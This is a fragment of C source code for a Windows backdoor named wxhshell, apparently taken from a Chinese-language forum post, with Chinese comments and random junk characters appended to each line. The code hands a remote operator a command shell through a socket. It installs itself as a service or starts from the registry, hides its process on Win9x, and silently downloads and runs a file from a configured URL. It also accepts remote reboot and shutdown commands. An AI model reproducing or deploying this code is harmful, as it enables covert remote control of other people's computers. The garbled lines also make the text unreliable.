  if(DownloadFile(cmd,wsh)) )'5<6Q.]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %X4-a%512  
  else ivzAlwP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v**z$5x9  
  } Sty! atEWT  
  else { MBB5wj  
r219M)D?  
    switch(cmd[0]) { s>|Z7[*  
  0e+W/Tq  
  // 帮助 >5;N64]!)  
  case '?': { ,?g=U8y|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sEce{"VC  
    break; z2w;oM$g  
  } 4\N_ G @  
  // 安装 J/'M N  
  case 'i': { wE$s'e  
    if(Install()) 5"JU?e59M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F7{R~mS;  
    else c>ad0xce6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |2)Sd[ q  
    break; dEASvD'  
    } lC#RNjDp/~  
  // 卸载 TDlZ!$g(  
  case 'r': { e?V,fzg  
    if(Uninstall()) ~G>jw"r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bj@xqAGl  
    else Q,.By&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yl-fbYH  
    break; /_V'DJV  
    } dv;9QCc'  
  // 显示 wxhshell 所在路径 jfUJ37zNZr  
  case 'p': { b5j*xZv  
    char svExeFile[MAX_PATH]; +UxI{,L  
    strcpy(svExeFile,"\n\r"); {A|bBg1!  
      strcat(svExeFile,ExeFile); =fl%8"%N&  
        send(wsh,svExeFile,strlen(svExeFile),0); ITyzs4"VV  
    break; XHsd-  
    } g96T*T  
  // 重启 :peqr!I+K  
  case 'b': { pOm@b `S%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2;G98H  
    if(Boot(REBOOT)) P,i"&9 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S%kS#U${|  
    else { McjS)4j&.  
    closesocket(wsh); ,"Tjpdf  
    ExitThread(0); y%4 Gp  
    } RqXi1<6j#  
    break; ]pnYvXf>!  
    } v ~"Ef_`  
  // 关机 k6@b|  
  case 'd': { n)#Lh 7X"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @\)fzubu  
    if(Boot(SHUTDOWN)) 9e~WK720=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z_FNIM0f  
    else { M>T[!*nTj  
    closesocket(wsh); rvic%bsk  
    ExitThread(0); /D[dO6.  
    } 2F1ZAl  
    break; Y0@yD#,0~  
    } *Bs^NU.  
  // 获取shell #vQ?  
  case 's': { P@gt di(Q  
    CmdShell(wsh); Ep mJWbU  
    closesocket(wsh); +Hj/0pp  
    ExitThread(0); jYWw.g<  
    break; xO7Yt l  
  } iK!dr1:wSw  
  // 退出 p1D()-  
  case 'x': { 9? 2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @EHIp{0.  
    CloseIt(wsh); Z:@6Lv?CN  
    break; |5,<jyp  
    } tMFsA`ng  
  // 离开 ^ av6HFQ  
  case 'q': { :a.0he s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $n-Af0tK  
    closesocket(wsh); 0z`/Hn  
    WSACleanup(); nUc;/  
    exit(1); txq~+'A:+  
    break; G2]^F Y  
        } /s|{by`we4  
  } :y# T9R9  
  } p0M=t-  
o.Oq__>$H  
  // 提示信息 Nb;H`<JP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3]/.\(2  
} h*Je35  
  } tPU-1by$  
bLbR IY"l  
  return; 6tn+m54_  
} t`5j4bdG  
vXdZmYrC  
// shell模块句柄 A59gIp*>  
int CmdShell(SOCKET sock) 9tK>gwb  
{ KE.Dt  
STARTUPINFO si; A W HU'  
ZeroMemory(&si,sizeof(si)); ?x3Jv<G0*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :.uk$jx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8o|P&q(v*  
PROCESS_INFORMATION ProcessInfo; ,Ff n)+  
char cmdline[]="cmd"; gn ?YF`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k4{:9zL1#?  
  return 0; B +Aj*\Y.  
} J8<J8x4  
)(m0cP{7  
// 自身启动模式 5mgHlsDzu  
int StartFromService(void) ?NG=8.p  
{ +=eR%|!@  
typedef struct 51by  
{ +Ok%e.\ZM  
  DWORD ExitStatus; 6|!NLwa  
  DWORD PebBaseAddress; {38\vX,I(w  
  DWORD AffinityMask; XErUS80  
  DWORD BasePriority; ?Elg?)os  
  ULONG UniqueProcessId; V8PLFt;  
  ULONG InheritedFromUniqueProcessId; "DQ'C%sL9  
}   PROCESS_BASIC_INFORMATION; m\vmY  
pSfYu=#f  
PROCNTQSIP NtQueryInformationProcess; f:woP7FP  
@{d\j]Nw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <7 )Fh*W@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s0C:m  
kl}Xmw{tJ  
  HANDLE             hProcess; *1A&'T2  
  PROCESS_BASIC_INFORMATION pbi; a#0;==#  
rzeLx Wt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OgCy4_a[f  
  if(NULL == hInst ) return 0; wLJ]&puwm  
tous#(&pK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S8vV!xO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UE :HMn6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XOy2lJ/  
w%a8XnW]1  
  if (!NtQueryInformationProcess) return 0; GABQUmtH  
o 3N]`xD'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \we\0@v  
  if(!hProcess) return 0; 6f)2F< 7  
 HpW 42  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SVWIEH0?  
$t/rOo9cV  
  CloseHandle(hProcess); bRo|uJ:d  
d]wD[]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 86qI   
if(hProcess==NULL) return 0; u\1>gDI)|  
sL^yB  
HMODULE hMod; < <Y}~N  
char procName[255]; +K~NV?c  
unsigned long cbNeeded; ^,8R,S\} $  
\Kav w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^G1%6\We  
Yu3zM79'k  
  CloseHandle(hProcess); l7}g^\I  
K@u&(}  
if(strstr(procName,"services")) return 1; // 以服务启动 m:+8J,jW  
)9v`f9X){  
  return 0; // 注册表启动 `BY&>WY[  
} =!b6FjsiG  
6^)}PX= *  
// 主模块 gTf|^?vd  
int StartWxhshell(LPSTR lpCmdLine) f{&bOF v  
{ ?KE$r~dn  
  SOCKET wsl; @T-p2#&  
BOOL val=TRUE; `>lzlEhKV  
  int port=0; ,0N94pKy  
  struct sockaddr_in door; .12aUXo(  
</"4 zD|  
  if(wscfg.ws_autoins) Install(); S:bC[}  
h9s >LY  
port=atoi(lpCmdLine); ,'fxIO  
G"SBYU  
if(port<=0) port=wscfg.ws_port; {QAv~S>4  
,)FdRRj  
  WSADATA data; [bz T& o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #*%q'gyHT  
&&> tf%[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w.{&=WTr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J([s5:.[  
  door.sin_family = AF_INET; Qdk6Qubi!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v`PY>c6~  
  door.sin_port = htons(port); *Zk>2<^R  
L1{GL #qV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5z}w}zdg  
closesocket(wsl); 23F/\2MSG  
return 1; u.XQ&  
} p=Q0!!_r  
TUK"nKSZ`.  
  if(listen(wsl,2) == INVALID_SOCKET) { ,:2'YB  
closesocket(wsl); Z8O n%Mx{"  
return 1; c}Z6V1]QP  
} r,1e 'd:  
  Wxhshell(wsl); fV>CZ^=G  
  WSACleanup(); k?B[>aQn.0  
)!bUR\  
return 0; Uz7oL8  
%r\n%$@_  
} 21X`h3+=  
eV^d6T$  
// 以NT服务方式启动 "r4AY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D/ybFk  
{ [lzN !!B!  
DWORD   status = 0; op2Of<{h  
  DWORD   specificError = 0xfffffff; F9"w6;hh  
Ex amD">T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _ gj&$zP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;*TIM%6#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S[3iA~)Z-  
  serviceStatus.dwWin32ExitCode     = 0; XN=67f$Hw  
  serviceStatus.dwServiceSpecificExitCode = 0; ,_.I\EY[  
  serviceStatus.dwCheckPoint       = 0; *iO u'  
  serviceStatus.dwWaitHint       = 0; enS}A*Io  
s8"8y`u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {P%9  
  if (hServiceStatusHandle==0) return; yF}OfK?0f  
))kF<A_MK  
status = GetLastError(); z G }?  
  if (status!=NO_ERROR) ;ea] $9  
{ z;f2*F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8`>h}Q$  
    serviceStatus.dwCheckPoint       = 0; olB)p$aH#  
    serviceStatus.dwWaitHint       = 0; )> ,wj  
    serviceStatus.dwWin32ExitCode     = status; d_UN0YT<  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ks^6.)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y_&g="`Q  
    return; g,t jm(  
  } b \KL;H/  
M-L2w"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LsEXM-  
  serviceStatus.dwCheckPoint       = 0; H={DB  
  serviceStatus.dwWaitHint       = 0; \J..*,'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /@ !CKh`  
} :o-,SrORM  
E:sz$\Ht)  
// 处理NT服务事件,比如:启动、停止 :K`ESq!8u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g6@Fp7T  
{ c .3ZXqpI;  
switch(fdwControl) ,u }XW V  
{ ^H{R+}  
case SERVICE_CONTROL_STOP: (/!r(#K0,'  
  serviceStatus.dwWin32ExitCode = 0; #4MBoN(3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <9E0iz+j  
  serviceStatus.dwCheckPoint   = 0; ptatzp]c#  
  serviceStatus.dwWaitHint     = 0; 5Wyz=+?m|  
  { 4'j sDcs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H&1[n U{?>  
  } 4 %PfrJ  
  return; cMyiW$;  
case SERVICE_CONTROL_PAUSE: Q$& sTM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~CB[9D=  
  break; ;AR{@Fu.  
case SERVICE_CONTROL_CONTINUE:  ~\,w {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fbyQjvURnC  
  break; KoE8 Mp  
case SERVICE_CONTROL_INTERROGATE: ZUz ^!d  
  break; iLP7!j  
}; Tus}\0/i>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |b-9b&  
} :q8b;*:  
3czeTj  
// 标准应用程序主函数 [U}+sTQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~<<nz9}o_  
{ /,!qFt  
pi=-#g(2  
// 获取操作系统版本 R1nJUOE4w^  
OsIsNt=GetOsVer(); ]{"Br$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LmlXMia  
(8v7|Pe8  
  // 从命令行安装 w%WF-:u7|  
  if(strpbrk(lpCmdLine,"iI")) Install(); }X x(^Zh  
b'VV'+|  
  // 下载执行文件 {o5V7*P;_  
if(wscfg.ws_downexe) { hjaT^(Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I1[g&9,  
  WinExec(wscfg.ws_filenam,SW_HIDE); A7(hw~+@  
} u` oq(?|  
Fk(JSiU  
if(!OsIsNt) { ?)bS['^1)  
// 如果时win9x,隐藏进程并且设置为注册表启动 |mdi]TL  
HideProc(); D9`0Dr}/2  
StartWxhshell(lpCmdLine); kb[P\cRa  
} iA8U Yd3Q  
else ~m|Mg9-  
  if(StartFromService()) KIR'$ 6pn~  
  // 以服务方式启动 M?=;JJ:  
  StartServiceCtrlDispatcher(DispatchTable); [V4{c@  
else * ),8PoT  
  // 普通方式启动 }2K$^u R  
  StartWxhshell(lpCmdLine); kYzC#.|1  
SyAvKd`g  
return 0; &1+X\c+t b  
}
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只看该作者 1 发表于: 2006-10-10
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